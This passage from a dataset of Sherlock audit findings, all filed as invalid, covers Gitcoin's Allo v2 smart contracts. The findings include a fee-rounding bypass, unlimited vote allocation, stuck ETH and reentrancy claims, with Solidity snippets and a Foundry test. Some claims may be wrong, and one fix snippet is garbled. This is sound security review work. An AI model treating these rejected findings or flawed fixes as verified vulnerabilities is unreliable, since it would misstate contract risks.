function","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/207.md"}} +{"title":"The contract upgrade will render the strategy unavailable","severity":"info","body":"Original Navy Donkey\n\nmedium\n\n# The contract upgrade will render the strategy unavailable\nSince Allo.sol is a upgradeable contract , after upgrade the address of allo would be changed. But in BaseStrategy contract the address of allo is immutable .Therefore after upgrade proxyContract can't interact with some BaseStrategy that marked as modifier `onlyAllo`.\n\n## Vulnerability Detail\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L48#L51\n\n\n## Impact\nAll contracts inheriting from BaseStrategy will become unusable after the upgrade怂\n\n## Code Snippet\n```solidity\n IAllo internal immutable allo; //@audit <--------------------- immutable \n bytes32 internal immutable strategyId;\n bool internal poolActive;\n uint256 internal poolId;\n uint256 internal poolAmount;\n\n /// ====================================\n /// ========== Constructor =============\n /// ====================================\n\n /// @notice Constructor to set the Allo contract and \"strategyId'.\n /// @param _allo Address of the Allo contract.\n /// @param _name Name of the strategy\n constructor(address _allo, string memory _name) {\n allo = IAllo(_allo);\n strategyId = keccak256(abi.encode(_name));\n }\n```\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\nallo should not be marked as immutable, and a function should be provided to modify the address of allo","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/203.md"}} +{"title":"ETH may become permanently stuck in the contract","severity":"info","body":"Original Navy Donkey\n\nhigh\n\n# ETH may become permanently stuck in the contract\n\nContract uses `poolAmount` to track the balance of this contract and utilizes `receive{}` to receive ETH tokens. If the `pool.token is the native token and someone directly transfers ETH into this contract, the extra ETH would be permanently stuck in the contract.\n\n## Vulnerability Detail\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L394#L409\n\nDonationVotingMerkleDistributionBaseStrategy contract use poolAmount to track the balance. While creating pool user transfer token into this contract and increase poolAmount via `increasePoolAmount`. The balance will be reduced during the '_distributeSingle' operation and the 'withdraw' operation. But contract also use receive{} to receive native token, the received token amounts are not being accumulated, so they cannot be withdrawn during the 'withdraw' operation, resulting in the tokens being stuck in the contract\n\nThere is a similar issue in the RFPSimpleStrategy contract withdraw function:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L295#L301\n\nthis is my test case:\n```solidity\n function test_canNotWithdraw() public {\n vm.warp(block.timestamp + 31 days);\n\n uint256 poolAmount = strategy.getPoolAmount();\n\n uint256 balance = address(strategy).balance;\n \n //poolAmount == balance == 1e18 native token.\n assertEq(poolAmount,balance);\n\n //send another 1e18 native token to strategy contract.\n address(strategy).call{value:1e18}(\"\");\n\n //now the balance is 2 * 1e18\n balance = address(strategy).balance;\n assertEq(balance,2 * 1e18);\n\n //we can't withdraw the balance 2 * 1e18\n vm.expectRevert(INVALID.selector);\n vm.prank(pool_admin());\n strategy.withdraw(2 * 1e18);\n\n //we can only withdraw 1e18.\n vm.prank(pool_admin());\n strategy.withdraw(1e18);\n }\n```\nWhat's more native token comes from payable function like `registerRecipient` and `allocate` not add to poolAmount those token also get stuck in contract\n\n## Impact\nETH may become permanently stuck in the contract \n## Code Snippet\n```solidity\n function withdraw(uint256 _amount) external onlyPoolManager(msg.sender) {\n if (block.timestamp <= allocationEndTime + 30 days) {\n revert INVALID();\n }\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n\n if (_amount > poolAmount) {\n revert INVALID();\n }\n\n poolAmount -= _amount;\n\n // Transfer the tokens to the 'msg.sender' (pool manager calling function)\n _transferAmount(pool.token, msg.sender, _amount);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nwe should check the contract balance to withdraw token instead of poolAmount","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/202.md"}} +{"title":"Not checked for Reentrancy","severity":"info","body":"Expert Stone Porcupine\n\nfalse\n\n# Not checked for Reentrancy\n\nOn createPoolWithCustomStrategy function, it has not protected from reentrancy attack.\n\n## Vulnerability Detail\n\nThe createPoolWithCustomStrategy function can be called by anyone and it works depends on the input strategy address. it has external calls to other contracts, too.\nSo this function has some vulnerabilities from reentrancy attack, but it is not protected from that.\n\t\n## Impact\n\nAttacker can call \"createPoolWithCustomStrategy\" function with self custom strategy that has some reentrancy hole. \n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/Allo.sol#L144\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nPlease use \"nonReentrant\" modifier on this function.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/201.md"}} +{"title":"QVBaseStrategy.sol#_qv_allocate() An allocator can allocate unlimited times","severity":"info","body":"Suave Orchid Crab\n\nhigh\n\n# QVBaseStrategy.sol#_qv_allocate() An allocator can allocate unlimited times\nAn allocator can allocate unlimited times\n\n## Vulnerability Detail\nAn allocator has voiceCredits that limit him on how many times he can allocate, however, he can allocate unlimited times.\nThere is a function that checks if the allocator has left voiceCredits before allocation but the problem is that his voiceCredits are not decreased after allocation, so he has unlimited voiceCredits.\n\nMalicious allocator can allocate multiple times with high voteCredits values to the recipient he knows and make him have the highest totalVotesReceived which will make him receive the most funds from all of the recipients. Another possible scenario is to allocate with low voteCreadits values multiple times for the victim recipient.\n\n## Impact\nAn allocator can allocate unlimited times\n\n## Code Snippet\n```solidity\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n\n## Tool used\n\nManual Review\n\n## Recommendation\n```diff\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n+ _allocator.voiceCredits -= _voiceCreditsToAllocate;\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/200.md"}} +{"title":"Allo#_fundPool","severity":"info","body":"Brilliant Chambray Reindeer\n\nmedium\n\n# Allo#_fundPool\nA `percentFee` amount is charged when funding a pool. However, the fee can be circumvented if the pool is using a low-decimals token and we fund the pool with a small amount. \n## Vulnerability Detail\nLet's see the code of the `_fundPool` function:\n```solidity\nfunction _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\nThe `feeAmount` is calculated as follows:\n```solidity\nfeeAmount = (_amount * percentFee) / getFeeDenominator();\n```\nwhere `getFeeDenominator` returns `1e18` and `percentFee` is represented like that: 1e18 = 100%, 1e17 = 10%, 1e16 = 1%, 1e15 = 0.1% (from the comments when declaring the variable).\n\nLet's say the pool uses a token like [GeminiUSD](https://etherscan.io/token/0x056Fd409E1d7A124BD7017459dFEa2F387b6d5Cd) which is a token with 300M+ market cap, so it's widely used, and `percentFee` == 1e15 (0.1%)\n\nA user could circumvent the fee by depositing a relatively small amount. In our example, he can deposit 9 GeminiUSD. In that case, the calculation will be:\n`feeAmount = (_amount * percentFee) / getFeeDenominator() = (9e2 * 1e15) / 1e18 = 9e17/1e18 = 9/10 = 0;`\n\nSo the user ends up paying no fee. There is nothing stopping the user from funding his pool by invoking the `fundPool` with such a small amount as many times as he needs to fund the pool with whatever amount he chooses, circumventing the fee. \n\nEspecially with the low gas fees on L2s on which the protocol will be deployed, this will be a viable method to fund a pool without paying any fee to the protocol. \n## Impact\nThe protocol doesn't collect fees from pools with low decimal tokens.\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/core/Allo.sol#L502\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd a `minFundAmount` variable and check for it when funding a pool.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/198.md"}} +{"title":"Funds might be stuck in a strategy contract","severity":"info","body":"Silly Carob Opossum\n\nmedium\n\n# Funds might be stuck in a strategy contract\n\nIn the case where pool is funded directly, these funds can't be withdrawn and are permanently locked in the contract.\n\n## Vulnerability Detail\n\nThe example is taken from RFPSimpleStrategy contract, but the issue is relevant for all strategies.\n\nIf `_amount` to withdraw is greater than `poolAmount` function call will fail due to underflow. The `poolAmount` value increases only when pool is funded using the Allo protocol. If pool is funded directly `poolAmount` will always be less than the actual balance, and difference will stuck in the contract.\n\n```solidity\nfunction withdraw(uint256 _amount) external onlyPoolManager(msg.sender) onlyInactivePool {\n // Decrement the pool amount\n poolAmount -= _amount;\n\n // Transfer the amount to the pool manager\n _transferAmount(allo.getPool(poolId).token, msg.sender, _amount);\n}\n```\n\n## Impact\n\nI know that direct funding is not the expected use case of the Allo protocol.\n\nMoreover, the Allo protocol is protected from these cases. For example, the RFPSimpleStrategy can't be used with direct funding, since the `_distribute` function also checks `poolAmount` and funds can't be distributed.\n\n```solidity\nif (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n```\n\nHowever, if funds somehow get into a strategy contract other than using the Allo protocol, it will be impossible to recover them. This can easily happen by mistake or from a non-obvious frontend implementation. Especially if strategy uses the native token, user may find it easier to simply send funds to the pool address.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L292-L301\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nFirst of all, you can allow withdrawing `_amount` greater than `poolAmount`. In this case, the Allo protocol will still be protected from unexpected usage, but it will be possible to recover funds sent directly. Also as for now manager can withdraw funds only to their own address, seems a good idea to allow providing a recipient address.\n\n```solidity\nfunction withdraw(address _recipient, uint256 _amount) external onlyPoolManager(msg.sender) onlyInactivePool {\n // Decrement the pool amount\n poolAmount = _amount > poolAmount ? 0 : poolAmount - _amount;\n\n // Transfer the amount to the pool manager\n _transferAmount(allo.getPool(poolId).token, _recipient, _amount);\n}\n```\n\nAdditionally, you can add a function to withdraw any token, and make it a part of BaseStrategy contract as default implementation.\n\n```solidity\nfunction withdraw(address _token, address _recipient, uint256 _amount) external onlyPoolManager(msg.sender) {\n address poolToken = allo.getPool(poolId).token;\n \n if _token == poolToken {\n _withdraw(_recipient, _amount);\n } else {\n // Get the amount of the token to transfer, which is always the entire balance of the contract address\n uint256 amount = _token == NATIVE ? address(this).balance : IERC20Upgradeable(_token).balanceOf(address(this));\n \n // Transfer the amount to the recipient (pool owner)\n _transferAmount(_token, _recipient, amount);\n }\n}\n\nfunction withdraw(address _recipient, uint256 _amount) external onlyPoolManager(msg.sender) {\n _withdraw(_recipient, _amount);\n}\n\nfunction _withdraw(address _recipient, uint256 _amount) internal onlyInactivePool {\n // Decrement the pool amount\n poolAmount = _amount > poolAmount ? 0 : poolAmount - _amount;\n\n // Transfer the amount to the pool manager\n _transferAmount(allo.getPool(poolId).token, _recipient, _amount);\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/195.md"}} +{"title":"`ReentrancyGuardUpgradeable` contract has not been initialized","severity":"info","body":"Original Navy Donkey\n\nmedium\n\n# `ReentrancyGuardUpgradeable` contract has not been initialized\nContract use OpenZepplin upgradeable contract ReentrancyGuardUpgradeable but `__ReentrancyGuard_init` function has not been called during initializing.\n\n## Impact\nReentrancyGuardUpgradeable has not been initialized.\n\n## Vulnerability Detail\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L87#L105\n\n## Code Snippet\n\n```solidity\n //Allo.sol initialize has not invoke __ReentrancyGuard_init:\n function initialize(address _registry, address payable _treasury, uint256 _percentFee, uint256 _baseFee)\n external\n reinitializer(1)\n {\n // Initialize the owner using Solady ownable library\n _initializeOwner(msg.sender);\n\n // Set the address of the registry\n _updateRegistry(_registry);\n\n // Set the address of the treasury\n _updateTreasury(_treasury);\n\n // Set the fee percentage\n _updatePercentFee(_percentFee);\n\n // Set the base fee\n _updateBaseFee(_baseFee);\n }\n\n //this code is from ReentrancyGuardUpgradeable:\n function __ReentrancyGuard_init() internal onlyInitializing {\n __ReentrancyGuard_init_unchained();\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nshould invoke `__ReentrancyGuard_init` during initializing","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/194.md"}} +{"title":"Should use Openzepplin library `AccessControlUpgradeable` instead of `AccessControl`","severity":"info","body":"Original Navy Donkey\n\nmedium\n\n# Should use Openzepplin library `AccessControlUpgradeable` instead of `AccessControl`\nFor upgradeable contract should use `AccessControlUpgradeable` instead of `AccessControl`\n## Vulnerability Detail\nhttps://github.com/sherlock-audit/2023-09-Gitcoin-coffiasd/tree/main/allo-v2/contracts/core/Registry.sol#L5\nhttps://github.com/sherlock-audit/2023-09-Gitcoin-coffiasd/tree/main/allo-v2/contracts/core/Allo.sol#L8\n\n## Impact\nMay result in conflicts in the usage of some storage slots\n## Code Snippet\n```solidity\nimport \"openzeppelin-contracts/contracts/access/AccessControl.sol\";\n\n\nimport {AccessControl} from \"openzeppelin-contracts/contracts/access/AccessControl.sol\";\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nuse https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/access/AccessControlUpgradeable.sol","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/193.md"}} +{"title":"`Allo` and `Registry` use `AccessControl` without storage gaps which can break storage layout on upgrade","severity":"info","body":"Clumsy Pecan Jay\n\nmedium\n\n# `Allo` and `Registry` use `AccessControl` without storage gaps which can break storage layout on upgrade\n\nBoth `Allo` and `Registry` are upgradable contracts accessed the a TransparentProxy.\nWhen using an OZ proxy its important that all inherited contracts have storage gaps so they can be updated without causing storage layout issues\n\n## Vulnerability Detail\n`Allo`:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L38\n```solidity\n---------\nimport \"openzeppelin-contracts/contracts/access/AccessControl.sol\";\nimport \"openzeppelin-contracts-upgradeable/contracts/security/ReentrancyGuardUpgradeable.sol\";\n---------\ncontract Allo is IAllo, Native, Transfer, Initializable, Ownable, AccessControl, ReentrancyGuardUpgradeable, Errors {\n```\n\n`Registry`:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L40C14-L40C14\n```solidity\n---------\nimport {AccessControl} from \"openzeppelin-contracts/contracts/access/AccessControl.sol\";\nimport \"openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\";\n---------\ncontract Registry is IRegistry, Native, AccessControl, Transfer, Initializable, Errors {\n```\n\nAs can be seen - both contracts use the non-upgradable `AccessControl.sol`which does not have storage gaps.\nAny future update in `AccessControl` storage will corrupt the contract storage layout and override used slots.\n\n## Impact\n\nPotential storage corruption. \n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUse the `AccessControl` that is upgradable through `openzeppelin-contracts-upgradeable` contracts.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/192.md"}} +{"title":"Allo#_createPool","severity":"info","body":"Brilliant Chambray Reindeer\n\nmedium\n\n# Allo#_createPool\nIn Allo.sol, a `baseFee` is charged when a user creates a pool via `_createPool`. However, when the token is not NATIVE, the user is forced to send more than `baseFee`.\n\nIn case the user sends exactly the amount that needs to be paid, the transaction will revert. \n## Vulnerability Detail\nLet's see this check in `_createPool`:\n```solidity\nfunction _createPool( ) internal returns (uint256 poolId) {\n//unrelated functionality\nif (baseFee > 0) {\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n}\n```\nAs you can see from the check `(_token != NATIVE && baseFee >= msg.value)` if the user sends exactly the value needed, we will enter the `if` and the transaction will revert.\n\nThe users will expect to be able to pay the exact amount they need to pay but the current implementation doesn't allow this.\n## Impact\nThe users will always need to send more than required which is not the expected behaviour.\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/main/contracts/core/Allo.sol#L473\n## Tool used\n\nManual Review\n\n## Recommendation\nChange the check to `(_token != NATIVE && baseFee > msg.value)`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/191.md"}} +{"title":"`Allo.allocate()` missing the `percentFee`","severity":"info","body":"Low Corduroy Cow\n\nmedium\n\n# `Allo.allocate()` missing the `percentFee`\n\n`Allo.allocate()` missing the `percentFee`, As a result, users can transfer funds to the strategy without paying `percentFee`.\n\n## Vulnerability Detail\n\nAs we can see, if user call the `fundPool()` to allocate the fund, the user need to pay the `feeAmount` to the contract\n\n```solidity\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\nAccording to the description, if function `batchAllocate()` is called, the user also needs to call function `fundPool()` to allocate funds, and the user also needs to pay fees. \n```solidity\n /// @notice Allocate to multiple pools\n /// @dev The encoded data will be specific to a given strategy requirements, reference the strategy\n /// implementation of allocate(). Please note that this is not a 'payable' function, so if you\n /// want to send funds to the strategy, you must send the funds using 'fundPool()'.\n /// @param _poolIds IDs of the pools\n /// @param _datas encoded data unique to the strategy for that pool\n function batchAllocate(uint256[] calldata _poolIds, bytes[] memory _datas) external nonReentrant {\n uint256 numPools = _poolIds.length;\n\n // Reverts if the length of _poolIds does not match the length of _datas with 'MISMATCH()' error\n if (numPools != _datas.length) revert MISMATCH();\n\n // Loop through the _poolIds & _datas and call the internal _allocate() function\n for (uint256 i; i < numPools;) {\n _allocate(_poolIds[i], _datas[i]);\n unchecked {\n ++i;\n }\n }\n }\n```\nHowever, through the allocate function, users can directly allocate funds to the strategy contract without paying fees.This will cause the protocol to lose fees\n```solidity\n function allocate(uint256 _poolId, bytes memory _data) external payable nonReentrant {\n _allocate(_poolId, _data);\n }\n\n function _allocate(uint256 _poolId, bytes memory _data) internal {\n pools[_poolId].strategy.allocate{value: msg.value}(_data, msg.sender);\n }\n```\n\n\n\n## Impact\n\n`Allo.allocate()` missing the `percentFee`, As a result, users can transfer funds to the strategy without paying `percentFee`.\n\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L352\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nChange to:\n```solidity\n function allocate(uint256 _poolId, bytes memory _data) external payable nonReentrant {\n uint256 feeAmount;\n uint256 amountAfterFee = msg.value;\n if (percentFee > 0) {\n feeAmount = (msg.value * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n pools[_poolId].strategy.allocate{value: amountAfterFee}(_data, msg.sender);\n\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/190.md"}} +{"title":"Not validated transfer on _transferAmountsFrom","severity":"info","body":"Expert Stone Porcupine\n\nfalse\n\n# Not validated transfer on _transferAmountsFrom\n## Level\n\nLow\n## Summary\n\nOn _transferAmountsFrom function, some validation checks are invalid or omitted.\n\n## Vulnerability Detail\n\nOn Line 61, it will revert although this transfer is valid.\n\n## Impact\n\nAll valid transfer operation will be reverted if msg.value is not zero.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/0b881ef4a0013d2809374c9ea69f4cf1288dfe62/contracts/core/libraries/Transfer.sol#L43-L64\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nThe full code I recommend is as follows.\n\n
\nfunction _transferAmountsFrom(address _token, TransferData[] memory _transferData) internal returns (bool) {\n    uint256`** msgValue = msg.value;\n    for (uint256 i; i < _transferData.length;) {\nĀ  Ā      TransferData memory transferData = _transferData[i];\n\t    if (_token == NATIVE) {\nĀ  Ā  Ā  Ā  Ā  Ā      msgValue -= transferData.amount;\n                if (msg.value < amount) revert AMOUNT_MISMATCH();  // newly appended \n\nĀ  Ā  Ā  Ā  Ā  Ā  Ā  Ā  SafeTransferLib.safeTransferETH(transferData.to, transferData.amount);\nĀ  Ā  Ā  Ā  Ā  Ā  } else {\nĀ  Ā  Ā  Ā  Ā  Ā  Ā  Ā  SafeTransferLib.safeTransferFrom(_token, transferData.from, transferData.to, transferData.amount);\nĀ  Ā  Ā  Ā  Ā  Ā  }\nĀ  Ā  Ā  Ā  Ā  Ā  unchecked {\nĀ  Ā  Ā  Ā  Ā  Ā  Ā  Ā  i++;\nĀ  Ā  Ā  Ā  Ā  Ā  }\n    }\n    if (msgValue != 0) revert AMOUNT_MISMATCH();\n    return true;\n}\n
","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/189.md"}} +{"title":"`createPool()`: when the `msg.value` > `amount+ baseFee`, it will cause the user loss funds","severity":"info","body":"Low Corduroy Cow\n\nmedium\n\n# `createPool()`: when the `msg.value` > `amount+ baseFee`, it will cause the user loss funds\n\nLet's imagine the following scenario:\n1. Alice checks baseFee, then baseFee = 100, and then Alice is ready to call createPool, _amount = 100, msg.value = 201\n2. At this time, Allo owner lowers baseFee = 50\n3. Alice then calls createPool, but because the baseFee fee changes, Alice still uses the original baseFee, which will cause the user to lose 50 and cause 50 to remain in the contract.\n\n## Vulnerability Detail\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L481\n\n\n## Impact\n\nwhen the `msg.value` > `amount+ baseFee`, it will cause the user loss funds\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L481\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nSet the `_amount = msg.value - baseFee`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/185.md"}} +{"title":"`__BaseStrategy_init()` has a `onlyAllo` modifier, it will cause revert","severity":"info","body":"Low Corduroy Cow\n\nhigh\n\n# `__BaseStrategy_init()` has a `onlyAllo` modifier, it will cause revert\n\n`__BaseStrategy_init()` has a `onlyAllo` modifier. However, this is internal function, and the caller is `address(this)`, it will cause revert\n\n## Vulnerability Detail\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L141\n\n## Impact\n\nIt will cause the strategy contract init fail and revert.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L141\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nremove the `onlyAllo` modifier","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/183.md"}} +{"title":"The milestone status can be continuously reset","severity":"info","body":"Ambitious Brick Ladybug\n\nmedium\n\n# The milestone status can be continuously reset\nThe `submitUpcomingMilestone` function from RFPSimpleStrategy contract permits an accepted recipient, or a member of an accepted recipient's profile, to change the status of a submitted milestone to Pending. This allows the recipient to change any Rejected status set by the pool manager using the `rejectMilestone` function. \n## Vulnerability Detail\nThe `submitUpcomingMilestone` function checks if the msg.sender is an `acceptedRecipientId` or a member of the recipient's profile. If true, the sender can modify the `milestoneStatus` of the `upcomingMilestone` to Pending:\n```solidity\nif (acceptedRecipientId != msg.sender && !_isProfileMember(acceptedRecipientId, msg.sender)) { \n revert UNAUTHORIZED();\n}\n...\nmilestone.milestoneStatus = Status.Pending;\n```\nThe `rejectMilestone` function, restricted only to the pool manager, allows the manager to set a milestone's status to Rejected.\nEvery time a pool manager rejects a milestone, the recipient (or a member of the recipient's profile) can simply call `submitUpcomingMilestone` to override that rejection, setting the status back to Pending.\n\n## Impact\nIt would not be possible to keep the milestone rejected.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L227-L247\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L283-L290\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider implementing a mechanism where, once a milestone is rejected, it cannot be set back to pending by the recipient. This can be achieved by adding an additional check in the `submitUpcomingMilestone` function to prevent changing the status of a rejected milestone.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/182.md"}} +{"title":"The increased portion of the rebase token balance will be locked in the pool.","severity":"info","body":"Fancy Khaki Perch\n\nhigh\n\n# The increased portion of the rebase token balance will be locked in the pool.\nThe increased portion of the rebase token balance will be locked in the pool.\n## Vulnerability Detail\nThe value of `poolAmount` is the initial number of tokens transferred into the pool 